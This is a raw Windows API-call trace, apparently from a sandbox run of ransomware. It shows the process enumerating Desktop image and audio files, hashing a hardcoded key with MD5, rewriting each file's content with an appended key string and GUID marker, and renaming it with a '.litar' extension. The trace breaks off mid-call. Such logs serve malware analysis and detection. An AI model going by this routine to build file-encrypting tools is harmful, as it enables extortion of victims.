GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=42883) returned 1 [0125.086] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.088] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa75d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.088] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.089] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.089] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.089] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xa783, lpOverlapped=0x0) returned 1 [0125.089] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.089] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.089] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.089] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.089] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.090] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.090] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.090] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.090] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.090] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.090] GetLastError () returned 0x0 [0125.090] SetLastError (dwErrCode=0x0) [0125.090] GetLastError () returned 0x0 [0125.090] SetLastError (dwErrCode=0x0) [0125.090] GetLastError () returned 0x0 [0125.090] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] GetLastError () returned 0x0 [0125.091] SetLastError (dwErrCode=0x0) [0125.091] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0125.091] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] GetLastError () returned 0x0 [0125.092] SetLastError (dwErrCode=0x0) [0125.092] GetLastError () returned 0x0 [0125.092] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.092] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.092] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa780) returned 0x30fa0b0 [0125.092] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.092] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.092] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0xa77e, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0xa77e, lpOverlapped=0x0) returned 1 [0125.093] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.094] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xa783, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.094] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.094] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.094] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.094] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.094] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.094] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.094] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.094] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.094] CloseHandle (hObject=0x624) returned 1 [0125.095] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.095] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.095] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.095] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2_-YQaqX40ls7kZnQI.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2_-yqaqx40ls7kznqi.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2_-YQaqX40ls7kZnQI.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2_-yqaqx40ls7kznqi.png.litar")) returned 1 [0125.095] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.096] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.096] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.096] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75eaeb20, ftCreationTime.dwHighDateTime=0x1d4d402, ftLastAccessTime.dwLowDateTime=0x2ff59750, ftLastAccessTime.dwHighDateTime=0x1d4cfed, ftLastWriteTime.dwLowDateTime=0x2ff59750, ftLastWriteTime.dwHighDateTime=0x1d4cfed, nFileSizeHigh=0x0, nFileSizeLow=0x11abf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4hZE9nFAdJv.png", cAlternateFileName="4HZE9N~1.PNG")) returned 1 [0125.096] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.097] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x76) returned 0x6ad610 [0125.097] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.097] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4hZE9nFAdJv.png") returned=".png" [0125.097] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4hZE9nFAdJv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4hze9nfadjv.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.097] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=72383) returned 1 [0125.097] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.099] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11a99, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.099] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.099] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.099] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.099] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.099] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x11abf, lpOverlapped=0x0) returned 1 [0125.100] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.100] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.100] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.100] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.100] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0058) returned 1 [0125.101] CryptCreateHash (in: hProv=0x6a0058, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.101] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.101] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.101] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.101] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.101] GetLastError () returned 0x0 [0125.101] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.101] CryptReleaseContext (hProv=0x6a0058, dwFlags=0x0) returned 1 [0125.101] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.101] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11ac0) returned 0x30fa0b0 [0125.101] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.101] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.101] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x11aba, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x11aba, lpOverlapped=0x0) returned 1 [0125.102] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.102] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x11abf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.102] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.102] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.102] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.102] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.102] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.102] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.102] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.102] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.102] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.102] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.102] CloseHandle (hObject=0x624) returned 1 [0125.103] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x303ecc0 [0125.103] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x880) returned 0x30fa0b0 [0125.103] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303ecc0 | out: hHeap=0x5c0000) returned 1 [0125.103] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4hZE9nFAdJv.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4hze9nfadjv.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\4hZE9nFAdJv.png.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\4hze9nfadjv.png.litar")) returned 1 [0125.105] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.105] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.106] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6ad610 | out: hHeap=0x5c0000) returned 1 [0125.106] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4de910, ftCreationTime.dwHighDateTime=0x1d4cd4a, ftLastAccessTime.dwLowDateTime=0xb9bf4b90, ftLastAccessTime.dwHighDateTime=0x1d4c9f1, ftLastWriteTime.dwLowDateTime=0xb9bf4b90, ftLastWriteTime.dwHighDateTime=0x1d4c9f1, nFileSizeHigh=0x0, nFileSizeLow=0x162b7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6bvJUbgBGTbsIJMKW8.jpg", cAlternateFileName="6BVJUB~1.JPG")) returned 1 [0125.106] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.106] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.106] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.106] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6bvJUbgBGTbsIJMKW8.jpg") returned=".jpg" [0125.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6bvJUbgBGTbsIJMKW8.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6bvjubgbgtbsijmkw8.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.106] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=90807) returned 1 [0125.106] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.108] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x16291, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.108] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0125.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0125.109] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.109] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0125.109] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x162b7, lpOverlapped=0x0) returned 1 [0125.109] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.109] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0125.109] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.109] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0125.109] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a00e0) returned 1 [0125.110] CryptCreateHash (in: hProv=0x6a00e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0125.110] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0125.110] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0125.110] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0125.110] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0125.110] GetLastError () returned 0x0 [0125.110] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0125.110] CryptReleaseContext (hProv=0x6a00e0, dwFlags=0x0) returned 1 [0125.110] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0125.110] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x162c0) returned 0x30fa0b0 [0125.111] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0125.111] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0125.111] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x162b2, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb24*=0x162b2, lpOverlapped=0x0) returned 1 [0125.111] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.111] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x162b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0125.111] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8ef60 [0125.111] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x3055af0 [0125.112] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x3055af0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0125.112] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0125.112] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3055af0 | out: hHeap=0x5c0000) returned 1 [0125.112] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8ef60 | out: hHeap=0x5c0000) returned 1 [0125.112] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0125.112] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.112] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0125.112] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0125.112] CloseHandle (hObject=0x624) returned 1 [0125.113] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a00e0 [0125.113] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x890) returned 0x30fa0b0 [0125.113] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a00e0 | out: hHeap=0x5c0000) returned 1 [0125.113] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6bvJUbgBGTbsIJMKW8.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6bvjubgbgtbsijmkw8.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6bvJUbgBGTbsIJMKW8.jpg.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6bvjubgbgtbsijmkw8.jpg.litar")) returned 1 [0125.114] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0125.114] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0125.115] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0058 | out: hHeap=0x5c0000) returned 1 [0125.115] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3b5590, ftCreationTime.dwHighDateTime=0x1d4c8c0, ftLastAccessTime.dwLowDateTime=0xef5a45d0, ftLastAccessTime.dwHighDateTime=0x1d4cb2b, ftLastWriteTime.dwLowDateTime=0xef5a45d0, ftLastWriteTime.dwHighDateTime=0x1d4cb2b, nFileSizeHigh=0x0, nFileSizeLow=0x13ff9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6igNpwR0pgLT9a.m4a", cAlternateFileName="6IGNPW~1.M4A")) returned 1 [0125.115] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f130 [0125.115] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0058 [0125.115] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f130 | out: hHeap=0x5c0000) returned 1 [0125.115] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6igNpwR0pgLT9a.m4a") returned=".m4a" [0125.115] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\6igNpwR0pgLT9a.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\6ignpwr0pglt9a.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0125.115] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=81913) returned 1 [0125.115] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0125.117] SetFilePointerEx (in: hFile=0x624, 